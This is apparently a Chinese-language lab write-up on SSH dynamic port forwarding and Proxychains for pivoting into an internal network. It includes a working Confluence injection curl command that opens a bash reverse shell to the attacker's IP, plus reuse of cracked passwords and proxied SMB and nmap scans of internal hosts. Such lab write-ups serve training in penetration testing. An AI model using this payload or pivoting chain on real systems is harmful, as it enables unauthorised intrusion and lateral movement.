SSH Tunneling - Dynamic Port Forwarding

 SSH Tunneling - Dynamic Port Forwarding


上一篇本機連接埠轉送有一個明顯的限制:每個 SSH 連線只能連接到一個套接字

這使得大規模使用變得非常乏味。幸運的是,OpenSSH 還提供動態連接埠轉送

從 SSH 用戶端上的單一偵聽端口,封包可以轉送到 SSH 伺服器主機有權存取的任何套接字


SSH 動態連接埠轉送之所以有效,是因為 SSH 用戶端所建立的偵聽連接埠是 SOCKS 代理伺服器連接埠

SOCKS 是一種代理協定,與郵政服務非常相似。

SOCKS 伺服器接受資料包(帶有 SOCKS 協定標頭)並將它們轉發到它們所尋址的任何地方。


在 SSH 動態連接埠轉送中,封包可以傳送到 SSH 用戶端電腦上的單一偵聽 SOCKS 連接埠。

這些將透過 SSH 連接推送,然後轉發到 SSH 伺服器電腦可以路由的任何地方。

唯一的限制是資料包必須正確格式化 - 通常由 SOCK 相容的客戶端軟體格式化。

在某些情況下,軟體預設不相容於 SOCKS。


如下網路圖中說明 SSH 動態連接埠轉送




攻擊機 : 192.168.45.183

靶機環境 : 192.168.216.63、10.4.216.215、172.16.216.217


起手第一步先 CONFLUENCE 漏洞進入 192.168.216.63

curl -v http://192.168.216.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.183/4444%200%3E%261%27%29.start%28%29%22%29%7D/

nc 4444 Port 就進來了,接著下 python3 -c 'import pty; pty.spawn("/bin/bash")' 確保 TTY Shell




接著使用指令 ssh -N -D 0.0.0.0:9999 database_admin@10.4.216.215

沒有指定要連接到哪,密碼用之前破解的 sqlpass123

參數 -D : 動態連接埠轉送

參數 -N : 防止生成 shell




由於 SSH 動態連接僅支援 SOCKS,儘管我們知道遠端的內網伺服器有啟動 SMB Service

但 smbclient 本身不支援 SOCKS,所以我們無法直接使用

SOCKS 代理無法確定如何處理未封裝在 SOCKS 協定格式中的流量

所以要改使用 Proxychains

Proxychains 是一種可以透過 HTTP 或 SOCKS 代理強制來自第三方工具的網路流量的工具

Proxychains 的工作方式是一種簡單的破解。 它使用 Linux 共享物件預先載入技術 (LD_PRELOAD)在傳遞給它的二進位檔案中掛鉤libc網路函數,並強制所有連接通過已配置的代理伺服器。這意味著它可能不適用於所有情況,但適用於大多數 執行簡單網路操作的動態連結二進位。它不適用於靜態連結的二進位。


讓我們嘗試使用 smbclient 的 Proxychains。Proxychains 幾乎所有內容都使用設定文件,預設儲存在 /etc/proxychains4.conf。我們需要編輯此文件以確保 Proxychains 可以找到我們的 SOCKS 代理端口,並確認它是 SOCKS 代理(而不是任何其他類型的代理)。預設情況下,代理在文件末尾定義。我們可以簡單地用一行定義 CONFLUENCE01 上執行的 SOCKS 代理程式的代理類型、IP 位址和連接埠(socks5 192.168.216.63 9999)來取代該檔案中的任何現有代理定義。

編輯完後使用 └─$ tail /etc/proxychains4.conf 看一下內容 ( tail 會將檔案中的註釋忽略 )




儘管我們在範例中指定了socks5,但它也可以是 socks4,因為SSH 兩者都支援。SOCKS5 支援驗證、IPv6 和使用者資料報協定(UDP),包括 DNS。某些 SOCKS 代理僅支援 SOCKS4 協定。在參與中使用 SOCKS 代理程式時,請確保檢查 SOCKS 伺服器支援哪個版本。


所以可以直接用了,指令如下

proxychains smbclient -L //172.16.216.217/ -U hr_admin --password=Welcome1234

可以看到直接透過 192.168.216.63 的 9999 PORT 然後中間再走 SSH 隧道到 10.4.216.215

再從 10.4.216.215 的另一隻腳直接去訪問 172.16.216.217 的 SMB Service 並列舉如下




接著用 nmap 包在 proxychains 中去掃看看內網的那一台 172.16.216.217 TOP20 Port

proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.216.217




掃完結果如下




掃描看看 4870~4875 有開哪個 Port

└─$ proxychains nmap -T4 -sT -p T:4870-4875 172.16.216.217

PS : proxychains 真的很慢










練習 :

從 CONFLUENCE01 上的 Web 伺服器下載客戶端二進位檔案 /exercises/ssh_dynamic_client 。使用 Proxychains,針對您剛剛找到的連接埠運行它。 注意:用於建置ssh_dynamic_client二進位檔案的來源檔案可以從/exercises/client_source.zip下載。


先下載 ssh_dynamic_client

http://192.168.216.63:8090/exercises/ssh_dynamic_client




再下載 client_source.zip

http://192.168.216.63:8090/exercises/client_source.zip




一樣解開後檔案放一塊




一樣原本無法執行, chmod 777 改一下權限




將執行檔包在 proxychains 中吧,輸入指令

 proxychains ./ssh_dynamic_client -p 4872 -i 172.16.216.217

拿到 flag 了





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)